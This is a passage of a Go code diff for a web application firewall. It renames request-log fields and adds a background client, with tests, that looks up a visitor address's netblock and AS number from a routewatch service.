WouldAction string `json:"would_action,omitempty"` WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate // Heuristic is the name of the heuristic that refused the request, in
// limits counted whose client a biased threshold gives a percentage of // observe mode too, and HeuristicFigures are the figures it acted on, by
// the rate limits below 100, that percentage and the setting that gave // name.
// it. BytesPercent and BytesPercentSetting are the same for the byte Heuristic string `json:"heuristic,omitempty"`
// limits. HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
LimitPercent *int64 `json:"limit_percent,omitempty"` // AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` // the heuristic that banned the client after waf answered the
BytesPercent *int64 `json:"bytes_percent,omitempty"` // request.
BytesPercentSetting string `json:"bytes_percent_setting,omitempty"` AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
// RateLimitPercent and RateLimitPercentSetting are, for a request the
// rate limits counted whose client a biased threshold gives a percentage
// of the rate limits below 100, that percentage and the setting that gave
// it. BytesLimitPercent and BytesLimitPercentSetting are the same for the
// byte limits.
RateLimitPercent *int64 `json:"rate_limit_percent,omitempty"`
RateLimitPercentSetting string `json:"rate_limit_percent_setting,omitempty"`
BytesLimitPercent *int64 `json:"bytes_limit_percent,omitempty"`
BytesLimitPercentSetting string `json:"bytes_limit_percent_setting,omitempty"`
// Counts are, for a request the rate limits counted, the client's // Counts are, for a request the rate limits counted, the client's
// requests as they counted them with this one, and its bytes as the // requests as they counted them with this one, and its bytes as the
// byte limits counted them, with this request's once it has ended if // byte limits counted them, with this request's once it has ended if
@@ -147,36 +173,42 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"` Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched. // RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"` RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request // CoreRuleSetRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core // matched, and CoreRuleSetScore its anomaly score, nil for a request the
// Rule Set did not inspect. // Core Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"` CoreRuleSetRuleIDs []int `json:"core_rule_set_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"` CoreRuleSetScore *int `json:"core_rule_set_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as // LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and // Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or // minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst. // LimitHitMinuteRefusals for the refusal limit.
LimitHit string `json:"limit_hit,omitempty"` LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then // Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones // that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its // whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit. // score is a hit.
Reputation []string `json:"reputation,omitempty"` Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted.
Tags []string `json:"tags,omitempty"`
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
// request got no tags from routewatch: no_answer_yet, request_failed or
// no_route.
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
// Offence is the offence the request was held as, OffenceLimit. // Offence is the offence the request was held as, OffenceLimit.
Offence string `json:"offence,omitempty"` Offence string `json:"offence,omitempty"`
// BanExpires is when the ban the request made, or was refused under, // BanExpires is when the ban the request made, or was refused under,
// ends: a time, or "permanent". // ends: a time, or "permanent".
BanExpires string `json:"ban_expires,omitempty"` BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the // The timings. DurationChecksMS is the time until the checks were done, and
// checks were done, and DurationWAF the part of it the Core Rule Set // DurationCoreRuleSetMS the part of it the Core Rule Set took.
// took. DurationUpstreamTotal is what the report of an allowed request gives, // DurationUpstreamTotalMS is what the report of an allowed request gives,
// from the hand-over to the app until the end of its answer. Each but // from the hand-over to the app until the end of its answer. Each but
// DurationTotal is nil for a request that did not get that far. // DurationTotalMS is nil for a request that did not get that far.
DurationTotal float64 `json:"duration_total"` DurationTotalMS float64 `json:"duration_total_ms"`
DurationChecks *float64 `json:"duration_checks,omitempty"` DurationChecksMS *float64 `json:"duration_checks_ms,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"` DurationCoreRuleSetMS *float64 `json:"duration_core_rule_set_ms,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"` DurationUpstreamTotalMS *float64 `json:"duration_upstream_total_ms,omitempty"`
} }
// RProxyLine is rproxy's short line in the request log about one request. The // RProxyLine is rproxy's short line in the request log about one request. The
@@ -196,16 +228,17 @@ type RProxyLine struct {
Status int `json:"status"` Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"` RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"` ResponseBytes int64 `json:"response_bytes"`
// DurationRequest runs in milliseconds from the request's headers being read // DurationRequestMS runs from the request's headers being read until the app
// until the app has been sent the whole request, or the answer has started // has been sent the whole request, or the answer has started if that is
// if that is sooner. DurationResponse runs from then until the answer ends. // sooner. DurationResponseMS runs from then until the answer ends.
DurationRequest float64 `json:"duration_request"` DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponse float64 `json:"duration_response"` DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition servewaf answered or, while // Disposition is the valid disposition waf answered or, while
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is "" // WAFBackendNoAnswer is true, the value of
// when neither gave one. // SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
Disposition string `json:"disposition,omitempty"` Disposition string `json:"disposition,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"` WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
} }
// Write writes line to w as one JSON line marked "type":"request". // Write writes line to w as one JSON line marked "type":"request".
@@ -222,14 +255,20 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
return writeJSONLine(w, line) return writeJSONLine(w, line)
} }
// writeJSONLine writes line to w as one JSON line. // writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
// ">" as they are, so a query string reads as it was sent.
func writeJSONLine(w io.Writer, line any) error { func writeJSONLine(w io.Writer, line any) error {
encoded, err := json.Marshal(line) var encoded bytes.Buffer
encoder := json.NewEncoder(&encoded)
encoder.SetEscapeHTML(false)
err := encoder.Encode(line)
if err != nil { if err != nil {
return fmt.Errorf("encode the request log line: %w", err) return fmt.Errorf("encode the request log line: %w", err)
} }
_, err = w.Write(append(encoded, '\n')) _, err = w.Write(encoded.Bytes())
if err != nil { if err != nil {
return fmt.Errorf("write the request log line: %w", err) return fmt.Errorf("write the request log line: %w", err)
} }
@@ -245,25 +284,37 @@ func FormatTime(t time.Time) string {
// Milliseconds is d in milliseconds, to the microsecond. // Milliseconds is d in milliseconds, to the microsecond.
func Milliseconds(d time.Duration) float64 { func Milliseconds(d time.Duration) float64 {
return float64(d.Microseconds()) / float64(time.Millisecond/time.Microsecond) return float64(
d.Microseconds(),
) / float64(
time.Millisecond/time.Microsecond,
)
} }
// NewProcessLogger returns the logger for the process's own messages: // NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form // JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance. // as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe; // It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back. // the request lines Write writes are never held back.
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger { func NewProcessLogger(
w io.Writer,
instanceName string,
level slog.Level,
) *slog.Logger {
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{ handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
Level: level, Level: level,
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr { ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
if attr.Key == slog.TimeKey && len(groups) == 0 { if attr.Key == slog.TimeKey && len(groups) == 0 {
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time())) return slog.String(
slog.TimeKey,
FormatTime(attr.Value.Time()),
)
} }
return attr return attr
}, },
}) })
return slog.New(handler).With("type", "process", "instance", instanceName) return slog.New(handler).
With("type", "process", "instance", instanceName)
} }
+67 -11
View File
@@ -18,11 +18,13 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{ err := requestlog.Write(&out, &requestlog.Line{
Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)), Time: requestlog.FormatTime(
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
),
ClientIP: "203.0.113.9", ClientIP: "203.0.113.9",
Status: 200, Status: 200,
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
DurationTotal: requestlog.Milliseconds(1500 * time.Microsecond), DurationTotalMS: requestlog.Milliseconds(1500 * time.Microsecond),
}) })
if err != nil { if err != nil {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
@@ -43,7 +45,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
want := map[string]any{ want := map[string]any{
"type": "request", "time": "2026-10-03T12:00:00.000Z", "type": "request", "time": "2026-10-03T12:00:00.000Z",
"client_ip": "203.0.113.9", "status": 200.0, "action": "forward", "client_ip": "203.0.113.9", "status": 200.0, "action": "forward",
"duration_total": 1.5, "duration_total_ms": 1.5,
} }
for name, value := range want { for name, value := range want {
if fields[name] != value { if fields[name] != value {
@@ -55,9 +57,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
"forwarded_for", "content_type", "content_length", "request_headers", "forwarded_for", "content_type", "content_length", "request_headers",
"has_authorization", "has_cookie", "websocket", "response_content_type", "has_authorization", "has_cookie", "websocket", "response_content_type",
"upstream_status", "cache_control", "location", "aborted", "counts", "upstream_status", "cache_control", "location", "aborted", "counts",
"limit_hit", "offence", "ban_expires", "duration_checks", "limit_hit", "offence", "ban_expires", "duration_checks_ms",
"duration_upstream_connect", "duration_upstream_first_byte", "duration_upstream_connect", "duration_upstream_first_byte",
"duration_upstream_total", "duration_upstream_total_ms",
} }
for _, name := range unset { for _, name := range unset {
_, present := fields[name] _, present := fields[name]
@@ -67,6 +69,50 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
} }
} }
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Parallel()
var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{
Query: "a=1&b=<2>",
Referer: "https://example.com/?x=1&y=<2>",
})
if err != nil {
t.Fatalf("write: %v", err)
}
err = requestlog.WriteRProxyLine(
&out,
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
)
if err != nil {
t.Fatalf("write the rproxy line: %v", err)
}
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
if len(lines) != 2 {
t.Fatalf("wrote %q, want two lines", out.String())
}
for _, line := range lines {
if !json.Valid([]byte(line)) {
t.Errorf("%s is not valid JSON", line)
}
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
t.Errorf("%s does not hold the query as sent", line)
}
}
if !strings.Contains(
lines[0],
`"referer":"https://example.com/?x=1&y=<2>"`,
) {
t.Errorf("%s does not hold the referer as sent", lines[0])
}
}
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) { func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
t.Parallel() t.Parallel()
@@ -82,7 +128,7 @@ func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` + const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` +
`"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` + `"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` +
`"response_bytes":0,"duration_request":0,"duration_response":0,` + `"response_bytes":0,"duration_request_ms":0,"duration_response_ms":0,` +
`"disposition":"allow"}` + "\n" `"disposition":"allow"}` + "\n"
if out.String() != want { if out.String() != want {
t.Errorf("wrote %s, want %s", out.String(), want) t.Errorf("wrote %s, want %s", out.String(), want)
@@ -94,7 +140,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting", requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
Info("starting",
"version", "v1") "version", "v1")
var fields map[string]any var fields map[string]any
@@ -104,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Fatalf("decode %q: %v", out.String(), err) t.Fatalf("decode %q: %v", out.String(), err)
} }
if fields["type"] != "process" || fields["instance"] != "fsn1app1/gitea" || if fields["type"] != "process" ||
fields["msg"] != "starting" || fields["level"] != "INFO" || fields["instance"] != "fsn1app1/blog" ||
fields["msg"] != "starting" ||
fields["level"] != "INFO" ||
fields["version"] != "v1" { fields["version"] != "v1" {
t.Errorf("process line %v", fields) t.Errorf("process line %v", fields)
} }
@@ -116,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
if err != nil || !strings.HasSuffix(timeText, "Z") || if err != nil || !strings.HasSuffix(timeText, "Z") ||
len(timeText) != len("2006-01-02T15:04:05.000Z") || len(timeText) != len("2006-01-02T15:04:05.000Z") ||
time.Since(logged) > time.Minute { time.Since(logged) > time.Minute {
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText) t.Errorf(
"process line time %q, want now in UTC with milliseconds",
timeText,
)
} }
} }
@@ -133,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level) processLog := requestlog.NewProcessLogger(
&out,
"fsn1app1/blog",
level,
)
for _, at := range levels { for _, at := range levels {
processLog.Log(t.Context(), at, "message") processLog.Log(t.Context(), at, "message")
} }
+315
View File
@@ -0,0 +1,315 @@
// Package routewatch asks a routewatch instance about client addresses, in the
// background, and keeps its answers. A routewatch instance knows, for an
// address, the netblock it is announced in and the AS that originates it. The
// answers are kept in memory, for at most 100,000 clients and for an hour each,
// and are written to routewatch.json and read from it by the state package.
package routewatch
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"net/url"
"slices"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
)
const (
// answerKept is how long an answer is used after it came.
answerKept = time.Hour
// failureKept is how long routewatch is not asked again after a query
// fails, so that a dead routewatch is not asked on every request.
failureKept = time.Minute
// queryTimeout is how long one query may take. routewatch answers only
// after a reverse DNS lookup it allows 2 seconds, so this is longer.
queryTimeout = 5 * time.Second
// maxAnswers is how many answers are kept. Past it, the one that came
// longest ago is dropped.
maxAnswers = 100000
// maxQueries is how many queries may be under way at once. Past it, a
// client is not asked about until its next request, so that a swarm of
// new addresses cannot fill the memory.
maxQueries = 100
// maxAnswerBytes is the most of an answer that is read.
maxAnswerBytes = 64 << 10
)
// Missing is why Route gives no route. The request log's field
// routewatch_tags_missing gives these values.
type Missing string
const (
// NoAnswerYet is a client routewatch has not answered about yet.
NoAnswerYet Missing = "no_answer_yet"
// RequestFailed is no answer because a recent query failed.
RequestFailed Missing = "request_failed"
// NoRoute is routewatch knowing no live route for the address.
NoRoute Missing = "no_route"
)
var (
errStatus = errors.New("routewatch answered")
errNoResult = errors.New("the answer holds no result")
errNotNetblock = errors.New("the answer's netblock is not a netblock")
)
// Route is what routewatch knows of an address: the netblock it is announced
// in, and the AS that originates it.
type Route struct {
Netblock netip.Prefix
ASN uint32
}
// Answer is what routewatch answered about a client, as routewatch.json holds
// it: the netblock the client's address is announced in, none for an address
// without a live route, the AS that originates it, and when routewatch
// answered.
type Answer struct {
Client netip.Prefix `json:"client"`
Netblock netip.Prefix `json:"netblock"`
ASN uint32 `json:"asn"`
Answered time.Time `json:"answered"`
}
// Params are what New needs.
type Params struct {
// URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
URL string
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives the query that fails, and why.
ProcessLog *slog.Logger
}
// Client asks a routewatch instance about clients, in the background, and keeps
// its answers. It is safe for concurrent use.
type Client struct {
params Params
httpClient *http.Client
mu sync.Mutex
// answers are by client. Each is added as it comes and never moved up,
// so that the one that came longest ago is the first dropped.
answers *simplelru.LRU[netip.Prefix, Answer]
// asking are the clients whose query is under way.
asking map[netip.Prefix]bool
// retryAt is when routewatch may be asked again after a query failed.
retryAt time.Time
}
// New returns a Client with no answer yet.
func New(params Params) *Client {
answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &Client{
params: params,
httpClient: &http.Client{},
answers: answers,
asking: map[netip.Prefix]bool{},
}
}
// Route returns what routewatch answered about client, an IPv4 address or an
// IPv6 group, or why it has no route. It never waits for a query. A client
// without an answer is asked about in the background, by addr, the address its
// request came from, unless its query is under way, a query failed less than
// failureKept ago, or maxQueries are under way. ctx is the context of the
// client's request, and a query goes on after the request ends.
func (c *Client) Route(
ctx context.Context, client netip.Prefix, addr netip.Addr,
) (Route, Missing) {
c.mu.Lock()
defer c.mu.Unlock()
now := c.params.Now()
kept, found := c.answers.Peek(client)
if found && now.Sub(kept.Answered) < answerKept {
if !kept.Netblock.IsValid() {
return Route{}, NoRoute
}
return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
}
if now.Before(c.retryAt) {
return Route{}, RequestFailed
}
if !c.asking[client] && len(c.asking) < maxQueries {
c.asking[client] = true
go c.ask(context.WithoutCancel(ctx), client, addr)
}
return Route{}, NoAnswerYet
}
// Snapshot returns every answer still in use, sorted by client, as
// routewatch.json lists them.
func (c *Client) Snapshot() []Answer {
c.mu.Lock()
now := c.params.Now()
answers := make([]Answer, 0, c.answers.Len())
for _, kept := range c.answers.Values() {
if now.Sub(kept.Answered) < answerKept {
answers = append(answers, kept)
}
}
c.mu.Unlock()
slices.SortFunc(answers, func(a, b Answer) int {
return a.Client.Compare(b.Client)
})
return answers
}
// Load keeps answers, read from routewatch.json, in place of those it keeps,
// but for those that came answerKept ago or more and, past maxAnswers, those
// that came longest ago.
func (c *Client) Load(answers []Answer) {
answers = slices.Clone(answers)
slices.SortStableFunc(answers, func(a, b Answer) int {
return a.Answered.Compare(b.Answered)
})
c.mu.Lock()
defer c.mu.Unlock()
c.answers.Purge()
now := c.params.Now()
for _, kept := range answers {
if now.Sub(kept.Answered) < answerKept {
c.answers.Add(kept.Client, kept)
}
}
}
// ask asks routewatch about addr, keeps the answer as client's, and notes the
// query as no longer under way. A query that fails gives no answer, and
// routewatch is not asked again for failureKept. Only the first failure of
// those under way is logged.
func (c *Client) ask(
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
route, err := c.query(ctx, addr)
now := c.params.Now()
c.mu.Lock()
delete(c.asking, client)
firstFailure := err != nil && !now.Before(c.retryAt)
if err == nil {
c.answers.Add(client, Answer{
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
})
} else {
c.retryAt = now.Add(failureKept)
}
c.mu.Unlock()
if firstFailure {
c.params.ProcessLog.Warn(
"asking routewatch failed",
"error",
err.Error(),
)
}
}
// query asks routewatch's IP info API about addr. An answer other than 200, one
// that cannot be read, and none within queryTimeout, fail. A result with no
// netblock is an address without a live route, and gives a Route without one.
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
defer cancel()
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
if err != nil {
return Route{}, fmt.Errorf("make the URL: %w", err)
}
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
endpoint,
http.NoBody,
)
if err != nil {
return Route{}, fmt.Errorf("make the request: %w", err)
}
req.Header.Set("Accept", "application/json")
res, err := c.httpClient.Do(req)
if err != nil {
// Do's error names the URL, which holds the client's address, which
// is not to be logged: only what went wrong is kept.
return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
}
defer func() {
_ = res.Body.Close()
}()
if res.StatusCode != http.StatusOK {
return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
}
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
}
// readAnswer reads routewatch's answer about one address.
func readAnswer(body io.Reader) (Route, error) {
var decoded struct {
Data struct {
Results []struct {
Netblock string `json:"netblock"`
ASN uint32 `json:"asn"`
} `json:"results"`
} `json:"data"`
}
err := json.NewDecoder(body).Decode(&decoded)
if err != nil {
return Route{}, fmt.Errorf("read the answer: %w", err)
}
if len(decoded.Data.Results) == 0 {
return Route{}, errNoResult
}
result := decoded.Data.Results[0]
if result.Netblock == "" {
return Route{}, nil
}
netblock, err := netip.ParsePrefix(result.Netblock)
if err != nil {
return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
}
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
}
+503
View File
@@ -0,0 +1,503 @@
package routewatch_test
import (
"bytes"
"context"
"log/slog"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strings"
"sync"
"sync/atomic"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/routewatch"
)
const (
clientAddr = "192.0.2.1"
routedAnswer = `{"status":"ok","data":{"results":[` +
`{"ip":"192.0.2.1","netblock":"192.0.2.0/24","asn":64496}]}}`
noRouteAnswer = `{"status":"ok","data":{"results":[{"ip":"192.0.2.1"}]}}`
// slowAnswer is longer than routewatch allows a reverse DNS lookup.
slowAnswer = 2500 * time.Millisecond
// waitLimit is longer than the Client allows a query.
waitLimit = 10 * time.Second
)
// clock is a time the tests move by hand.
type clock struct {
mu sync.Mutex
now time.Time
}
func (c *clock) Now() time.Time {
c.mu.Lock()
defer c.mu.Unlock()
return c.now
}
func (c *clock) advance(by time.Duration) {
c.mu.Lock()
defer c.mu.Unlock()
c.now = c.now.Add(by)
}
// fixture is a Client asking a stand-in for routewatch. queries counts what the
// stand-in was asked, paths holds the last path it was asked for, and log holds
// the process log.
type fixture struct {
t *testing.T
server *httptest.Server
client *routewatch.Client
clk *clock
queries *atomic.Int32
path *atomic.Value
log *syncBuffer
}
// syncBuffer is a buffer the background queries can log to while a test reads it.
type syncBuffer struct {
mu sync.Mutex
buf bytes.Buffer
}
func (b *syncBuffer) Write(p []byte) (int, error) {
b.mu.Lock()
defer b.mu.Unlock()
return b.buf.Write(p)
}
func (b *syncBuffer) String() string {
b.mu.Lock()
defer b.mu.Unlock()
return b.buf.String()
}
func newFixture(t *testing.T, standIn http.HandlerFunc) *fixture {
t.Helper()
f := &fixture{
t: t,
clk: &clock{now: time.Date(2026, 11, 9, 0, 0, 0, 0, time.UTC)},
queries: &atomic.Int32{},
path: &atomic.Value{},
log: &syncBuffer{},
}
f.server = httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
f.queries.Add(1)
f.path.Store(r.URL.Path)
standIn(w, r)
}))
t.Cleanup(f.server.Close)
f.client = routewatch.New(routewatch.Params{
URL: f.server.URL + "/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
return f
}
func answering(body string) http.HandlerFunc {
return func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(body))
}
}
// silentURL is where a routewatch that never answers is: a query to it waits,
// without the network, until it is abandoned. TestMain registers it with Go's
// default transport, through which the Client asks.
const silentURL = "silent://routewatch/"
func TestMain(m *testing.M) {
transport, _ := http.DefaultTransport.(*http.Transport)
transport.RegisterProtocol("silent", silentRoutewatch{})
m.Run()
}
// silentRoutewatch is the routewatch at silentURL.
type silentRoutewatch struct{}
// RoundTrip waits until req is abandoned.
func (silentRoutewatch) RoundTrip(
req *http.Request,
) (*http.Response, error) {
<-req.Context().Done()
return nil, req.Context().Err()
}
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
addr := netip.MustParseAddr(clientAddr)
client := netip.PrefixFrom(addr, addr.BitLen())
return f.client.Route(context.Background(), client, addr)
}
// waitFor asks until the answer is why, or, while why is "", until there is a
// route, and returns the route.
func (f *fixture) waitFor(why routewatch.Missing) routewatch.Route {
f.t.Helper()
deadline := time.Now().Add(waitLimit)
for {
route, missing := f.route()
if missing == why {
return route
}
if time.Now().After(deadline) {
f.t.Fatalf("still %q after %s, want %q", missing, waitLimit, why)
}
time.Sleep(time.Millisecond)
}
}
// wantFailureLoggedWithoutTheClient waits for the process log to name a failed
// query, and checks that it does not name the client.
func (f *fixture) wantFailureLoggedWithoutTheClient() {
f.t.Helper()
// The failure is noted before it is logged.
deadline := time.Now().Add(waitLimit)
for !strings.Contains(f.log.String(), "asking routewatch failed") {
if time.Now().After(deadline) {
f.t.Fatalf("process log %q names no failure", f.log.String())
}
time.Sleep(time.Millisecond)
}
if strings.Contains(f.log.String(), clientAddr) {
f.t.Errorf("process log %q names the client", f.log.String())
}
}
func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
t.Errorf(
"before the answer: %q, want %q",
missing,
routewatch.NoAnswerYet,
)
}
route := f.waitFor("")
want := routewatch.Route{
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
if got := f.path.Load(); got != "/api/v1/ip/"+clientAddr {
t.Errorf("asked for path %v", got)
}
}
func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
time.Sleep(slowAnswer)
_, _ = w.Write([]byte(routedAnswer))
})
f.route()
route := f.waitFor("")
want := routewatch.Route{
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
}
func TestAddressWithoutARouteIsKeptAsNoRoute(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(noRouteAnswer))
f.route()
f.waitFor(routewatch.NoRoute)
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries, want 1", got)
}
}
func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
t.Parallel()
tests := map[string]http.HandlerFunc{
"500": func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
},
"not JSON": answering("no"),
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
"bad netblock": answering(
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
),
}
for name, standIn := range tests {
t.Run(name, func(t *testing.T) {
t.Parallel()
f := newFixture(t, standIn)
f.route()
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
})
}
}
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
t *testing.T,
) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
f.client = routewatch.New(routewatch.Params{
URL: "http://224.0.0.1/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
f.route()
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
}
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
t *testing.T,
) {
t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
})
f.route()
f.waitFor(routewatch.RequestFailed)
f.route()
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries while the failure is kept, want 1", got)
}
f.clk.advance(time.Minute)
f.route()
deadline := time.Now().Add(waitLimit)
for f.queries.Load() != 2 {
if time.Now().After(deadline) {
t.Fatalf(
"%d queries after the failure expired, want 2",
f.queries.Load(),
)
}
time.Sleep(time.Millisecond)
}
}
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
t.Parallel()
// In a synctest bubble, time passes only while every goroutine in it waits,
// so Route's wait is measured exactly, however busy the host is. routewatch
// is the one at silentURL: one reached over the network would keep the
// bubble's clock from moving.
synctest.Test(t, func(t *testing.T) {
// Without newFixture's stand-in, which is reached over the network.
f := &fixture{t: t, log: &syncBuffer{}}
f.client = routewatch.New(routewatch.Params{
URL: silentURL, Now: time.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
began := time.Now()
_, missing := f.route()
if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
waited != 0 {
